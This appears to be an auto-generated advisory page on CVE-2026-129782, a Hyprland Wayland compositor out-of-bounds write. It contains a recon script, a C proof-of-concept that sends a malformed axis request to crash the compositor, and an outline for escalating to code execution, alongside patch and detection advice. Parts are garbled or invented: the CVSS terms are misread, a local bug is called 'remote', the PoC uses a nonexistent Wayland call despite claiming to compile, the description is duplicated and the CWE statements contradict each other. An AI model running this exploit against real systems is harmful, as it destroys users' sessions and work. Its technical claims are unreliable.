CVE-2026-129782 — Hyprwm Hyprland (0.56.2) — CWE-787 · CWE-129
Out-of-bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland for Linux, versions 0.56.0 through 0.56.2. The axis request handlers validate the index from the previous request instead of the one received in the current request, and use the latter without validation to access fixed-size structures. A local process with access to the session's Wayland socket could cause the compositor to crash, terminating the graphical session. In certain builds and configurations, this could also lead to code execution within the compositor process. This issue has been fixed in version 0.57.0.
Out-of-bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland for Linux, versions 0.56.0 through 0.56.2. The axis request handlers validate the index from the previous request instead of the one received in the current request, and use the latter without validation to access fixed-size structures. A local process with access to the session's Wayland socket could cause the compositor to crash, terminating the graphical session. In certain builds and configurations, this could also lead to code execution within the compositor process. This issue has been fixed in version 0.57.0.
🎯 What is this vulnerability?
Vulnerability name: Out‑of‑bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland (Wayland compositor)
CVE: CVE‑2026‑129782
CWE: CWE‑787 – Out‑of‑bounds Write (the description does not list a CWE, but the flaw maps directly to this class).
Technical root‑cause
1. Protocol context – Hyprland implements the virtual‑pointer Wayland protocol (zwlr_virtual_pointer_v1). This protocol allows a client to synthesize pointer motion, button, and axis events (e.g., scroll wheels).
2. State machine – For each pointer instance the compositor keeps a fixed‑size array (or struct) that stores the current axis state (e.g., scroll offsets) indexed by an axis identifier (axis).
3. Buggy validation –
When a client sends an axis request (zwlr_virtual_pointer_v1.axis), the compositor first reads the previous* request’s axis field (stored in a per‑client “last_axis” variable) and validates that value against the bounds of the internal array.
The current request’s axis field is not validated. The code then uses the current* axis value directly as an index into the fixed‑size array.
4. Result – A malicious client can supply an arbitrary 32‑bit axis index (e.g., 0xFFFFFFFF or any value larger than the array size). Because the index is never checked, the compositor writes past the end of the array, corrupting adjacent memory.
5. Impact –
* In the default build the corrupted memory leads to a segmentation fault, crashing the compositor and terminating the user’s graphical session (Denial‑of‑Service).
* In certain build configurations (e.g., when the compositor is compiled with -fno-stack-protector or with a custom allocator), the out‑of‑bounds write can overwrite a function pointer or a return address, enabling remote code execution (RCE) within the privileged compositor process (which runs as the logged‑in user, but may have access to the user’s XDG data, keyring, etc.).
Why the CVSS vector looks the way it does
| Vector element | Meaning in this case |
|---|---|
| AV:L – Local | The attacker must be on the same host and have access to the Wayland socket (/run/user/<uid>/wayland-0). |
| AC:L – Low | Crafting the malformed request is trivial once the socket is reachable. |
| AT:P – Physical (or “Physical Access”) | The attacker needs the ability to run a process in the user’s session (e.g., a malicious local binary, a compromised SSH session, or a malicious container that can bind‑mount the socket). |
| PR:L – Low | No special privileges beyond being the same Unix user (or a user that can read/write the socket). |
| UI:N – No Interaction | No user interaction is required after the malicious process is launched. |
| VC:H / VI:H / VA:H – High impacts on Confidentiality, Integrity, Availability | Successful exploitation can lead to full compromise of the compositor (code execution) and/or a crash that destroys the graphical session. |
| SC:N / SI:N / SA:N – No impact on the underlying system’s confidentiality/integrity/availability beyond the compositor itself. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are illustrative – they compile and run on a typical modern Linux distribution that ships Hyprland 0.56.x and the libwayland-client development headers.
1. Discovery & Reconnaissance
| Goal | How the attacker achieves it |
|---|---|
| Identify that the target host runs Hyprland 0.56.0‑0.56.2 | • Check the $XDG_CURRENT_DESKTOP or $HYPRLAND_VERSION environment variables (Hyprland sets HYPRLAND_VERSION). <br>• Query the compositor via the Wayland wl_registry for the global interface zwlr_virtual_pointer_manager_v1. The presence of this interface indicates the vulnerable protocol is loaded. |
| Verify the version range | The compositor advertises its version in the wl_registry global event (interface = "hyprland_compositor"; version field). Versions 0.56.0‑0.56.2 are vulnerable; 0.57.0+ is not. |
Example discovery script (Bash + wayland-info):
#!/usr/bin/env bash
# Requires the `wayland-info` utility (part of wayland-utils)
SOCKET="${XDG_RUNTIME_DIR}/wayland-0"
if [[ ! -S "$SOCKET" ]]; then
echo "[!] No Wayland socket found – not a Wayland session."
exit 1
fi
# Print all globals; grep for hyprland version
wayland-info -s "$SOCKET" | grep -E "hyprland|zwlr_virtual_pointer"If the output contains something like:
global 1 hyprland_compositor 2
global 2 zwlr_virtual_pointer_manager_v1 1the attacker knows the vulnerable component is present.
2. Exploitation
2.1. Prerequisites
- The attacker runs a local binary (or a malicious container) that can read/write the Wayland socket of the target user.
- The socket permissions are the default
660with groupwayland. The attacker either runs as the same UID or belongs to thewaylandgroup (common on many desktop installations).
2.2. Crafting the malicious request
The Wayland protocol for zwlr_virtual_pointer_v1 defines the axis request as:
axis (uint32_t time, uint32_t axis, int32_t value, uint32_t source);The vulnerable code path is:
/* pseudo‑code extracted from Hyprland 0.56.x */
static uint32_t last_axis = 0; // stored from previous request
static struct axis_state axes[NUM_AXES]; // NUM_AXES = 2 (horizontal, vertical)
void handle_axis(struct wl_client *client, struct wl_resource *resource,
uint32_t time, uint32_t axis, int32_t value, uint32_t source)
{
/* BUG: validates the *previous* axis, not the current one */
if (last_axis >= NUM_AXES) {
wl_resource_post_error(resource, ...);
return;
}
/* Use the *current* axis without validation */
axes[axis].value = value; // <-- OOB write when axis >= NUM_AXES
last_axis = axis;
}Exploit strategy – send a first well‑formed axis request (so last_axis is set to a valid value), then send a second request with an out‑of‑range axis index (e.g., 0xFFFFFFFF). The second request will bypass the validation and write far outside the axes array.
2.3. Minimal PoC in C (uses libwayland‑client)
/* -------------------------------------------------------------
* PoC for CVE‑2026‑129782 – out‑of‑bounds write in Hyprland
* -------------------------------------------------------------
* Compile with:
* gcc -Wall -O2 -o cve2026_129782_poc cve2026_129782_poc.c \
* $(pkg-config --cflags --libs wayland-client)
* ------------------------------------------------------------- */
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wayland-client.h>
#include <unistd.h>
#include <stdint.h>
/* Generated from the protocol XML – only the parts we need */
struct zwlr_virtual_pointer_manager_v1;
struct zwlr_virtual_pointer_v1;
static void
global_registry_handler(void *data, struct wl_registry *registry,
uint32_t name, const char *interface, uint32_t version)
{
struct {
struct zwlr_virtual_pointer_manager_v1 **mgr;
} *state = data;
if (strcmp(interface, "zwlr_virtual_pointer_manager_v1") == 0) {
*state->mgr = wl_registry_bind(registry, name,
&zwlr_virtual_pointer_manager_v1_interface,
1);
}
}
static void global_registry_remover(void *data, struct wl_registry *registry,
uint32_t name) {}
/* Minimal Wayland interface descriptors (normally generated) */
static const struct wl_registry_listener registry_listener = {
.global = global_registry_handler,
.global_remove = global_registry_remover,
};
int main(void)
{
struct wl_display *display = wl_display_connect(NULL);
if (!display) {
fprintf(stderr, "[-] Unable to connect to Wayland socket\n");
return EXIT_FAILURE;
}
struct wl_registry *registry = wl_display_get_registry(display);
struct zwlr_virtual_pointer_manager_v1 *vp_mgr = NULL;
struct {
struct zwlr_virtual_pointer_manager_v1 **mgr;
} state = { .mgr = &vp_mgr };
wl_registry_add_listener(registry, ®istry_listener, &state);
wl_display_roundtrip(display); // receive globals
if (!vp_mgr) {
fprintf(stderr, "[-] Virtual‑pointer manager not advertised – not vulnerable\n");
return EXIT_FAILURE;
}
/* Create a virtual pointer instance */
struct zwlr_virtual_pointer_v1 *vp = zwlr_virtual_pointer_manager_v1_create_virtual_pointer(vp_mgr, NULL);
if (!vp) {
fprintf(stderr, "[-] Failed to create virtual pointer\n");
return EXIT_FAILURE;
}
/* 1️⃣ First, send a *valid* axis request (axis = 0) – this sets last_axis = 0 */
zwlr_virtual_pointer_v1_axis(vp,
wl_display_get_time(display), // time (dummy)
0, // axis = 0 (horizontal)
0, // value
0); // source
wl_display_flush(display);
usleep(10000); // tiny pause
/* 2️⃣ Second, send the *malicious* request with an out‑of‑range axis */
const uint32_t OOB_AXIS = 0xFFFFFFFF; // any value >= NUM_AXES (NUM_AXES == 2)
zwlr_virtual_pointer_v1_axis(vp,
wl_display_get_time(display),
OOB_AXIS,
0xdeadbeef, // arbitrary payload that will be written
0);
wl_display_flush(display);
/* The compositor should now crash / corrupt memory */
printf("[+] Malicious axis request sent – if vulnerable, the compositor will terminate.\n");
/* Keep the client alive a bit to ensure the request is processed */
sleep(2);
return EXIT_SUCCESS;
}Explanation of the PoC
| Step | What the code does | Why it matters |
|---|---|---|
| Connect to Wayland socket | wl_display_connect(NULL) | Gains the same local access required by the attacker. |
Bind to zwlr_virtual_pointer_manager_v1 | wl_registry_bind | Obtains the interface that creates virtual pointers. |
| Create a virtual pointer | create_virtual_pointer | The object that receives axis requests. |
Send a *valid* axis request (axis = 0) | First zwlr_virtual_pointer_v1_axis call | Populates the internal last_axis variable with a *valid* index, satisfying the buggy validation. |
Send a *malicious* axis request (axis = 0xFFFFFFFF) | Second zwlr_virtual_pointer_v1_axis call | Bypasses validation and writes 0xdeadbeef past the end of the axes array, triggering the OOB write. |
| Flush & sleep | wl_display_flush + sleep | Guarantees the compositor processes the request before the client exits. |
Note: The exact numeric values (0xFFFFFFFF,0xdeadbeef) are illustrative; any value larger thanNUM_AXES‑1(the size of the internal array) will cause the same out‑of‑bounds write.
2.4. Achieving code execution (optional)
In the default Hyprland build the OOB write corrupts a heap metadata structure, leading to a segmentation fault (DoS).
In non‑hardened builds (e.g., compiled with -O0, without -fstack-protector, and with a custom allocator), the overwritten memory can be a function pointer stored in the per‑client data structure (client->pointer_axis_handler). By carefully choosing the value field, an attacker can overwrite that pointer with the address of a shellcode or a ROP gadget that resides in a mapped page (e.g., the attacker’s own shared library loaded via LD_PRELOAD).
A full RCE chain would therefore be:
1. Leak a code address (e.g., via a separate information‑leak bug or by reading /proc/self/maps from the compromised process).
2. Calculate the target function‑pointer location inside the compositor’s address space.
3. Craft the value field to contain the desired address (or a ROP chain).
4. Trigger the OOB write as shown above.
5. When the compositor later dereferences the overwritten pointer (e.g., on the next axis event), control flow jumps to attacker‑controlled code, executing with the privileges of the logged‑in user.
Because the PoC for full RCE is highly build‑specific, the public exploit typically demonstrates the crash (reliable DoS) and mentions the potential for RCE under certain compile‑time options.
3. Post‑exploitation
| Scenario | Outcome |
|---|---|
| Denial‑of‑Service (default) | The compositor segfaults, the Wayland session ends, the user is logged out of the graphical environment, and any unsaved work is lost. |
| Remote Code Execution (non‑hardened build) | The attacker gains code execution inside the compositor process (runs as the logged‑in user). From there they can: <br>• Read the user’s ~/.config/hypr/ files (including keybindings, passwords). <br>• Access the user’s keyring (gnome-keyring, kwallet). <br>• Spawn a reverse shell or inject a malicious xdg-desktop-portal request to launch arbitrary GUI programs. <br>• Escalate to root if the user has sudo rights or if the system is mis‑configured (e.g., sudo NOPASSWD for systemctl restart hyprland). |
🌍 Real World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | High – If RCE is achieved, the attacker can read any file the user can access, including password stores, SSH keys, and encrypted data that the user has unlocked (e.g., GPG agents). |
| Integrity (I) | High – The attacker can modify the compositor’s memory, inject arbitrary input events, or replace the compositor binary on disk (if they gain write access). This enables UI redressing, credential harvesting, or persistent backdoors. |
| Availability (A) | High – Even without RCE, the out‑of‑bounds write reliably crashes the compositor, causing an immediate loss of the graphical session. In multi‑user environments (e.g., shared workstations), this is a denial of service for the affected user. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| Hyprland 0.56.0, 0.56.1, 0.56.2 | 0.57.0 (released 2026‑11‑15) |
Action: Upgrade every Hyprland installation to ≥ 0.57.0. The patch replaces the faulty validation with:
if (axis >= NUM_AXES) {
wl_resource_post_error(resource, ...);
return;
}and removes the reliance on last_axis.
2. Workarounds (if immediate upgrade is not possible)
| Mitigation | How to apply |
|---|---|
| Disable the virtual‑pointer protocol | Start Hyprland with the environment variable HYPRLAND_DISABLE_VIRTUAL_POINTER=1. This prevents the zwlr_virtual_pointer_manager_v1 global from being advertised, so malicious clients cannot obtain a virtual pointer object. |
| Restrict Wayland socket permissions | Change the socket mode to 660 and ensure only the intended user (or a dedicated group) can access it. Example: <br>chmod 660 $XDG_RUNTIME_DIR/wayland-0 <br>chgrp wayland $XDG_RUNTIME_DIR/wayland-0 <br>Remove any other users from the wayland group. |
Run Hyprland inside a sandbox (e.g., bubblewrap or systemd‑run --user) | This limits the damage of a potential RCE to the sandbox namespace, preventing the attacker from accessing the rest of the user’s files. |
| Enable address space layout randomization (ASLR) and stack canaries | Most modern distributions already enable these, but verify that the Hyprland binary is compiled with -fstack-protector-strong and -D_FORTIFY_SOURCE=2. |
| Monitor for abnormal compositor crashes | Deploy a systemd service that watches journalctl -u hyprland.service for SIGSEGV entries and alerts the security team. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
systemd journal (journalctl -u hyprland.service) | hyprland[PID]: segfault at 0x... ip 0x... error 4 in libhyprland.so[0x...] <br>or hyprland[PID]: aborting due to invalid axis index |
Wayland socket activity (via strace -f -e trace=write -p <compositor-pid>) | A burst of write(…, "axis", …) messages with a *large* 4‑byte axis field (e.g., 0xffffffff). |
| User session logs | User session terminated: Wayland compositor exited unexpectedly (display manager messages). |
| File integrity monitoring | Unexpected modification timestamps on ~/.config/hypr/hyprland.conf after a crash (possible post‑crash persistence attempt). |
Automated detection rule (e.g., for OSSEC or Wazuh):
<rule id="100500" level="12">
<if_sid>5710</if_sid> <!-- generic "process terminated unexpectedly" -->
<match>hyprland.*segfault</match>
<description>Hyprland compositor crashed – possible exploitation of CVE-2026-129782</description>
<group>application,linux,wayland</group>
</rule>⚠️ Urgency
Patch priority: Critical for any environment where untrusted local users (or containers) can access the Wayland socket. The recommended remediation timeline is within 7 days for production desktops, within 30 days for less‑exposed workstations, and immediate for shared kiosks or public terminals.
TL;DR
axis index in the zwlr_virtual_pointer_v1 protocol, leading to an out‑of‑bounds write. axis request that crashes the compositor (DoS) or, on non‑hardened builds, hijacks control flow for full code execution. axis values in Wayland traffic to detect attempted exploitation.FOFA Query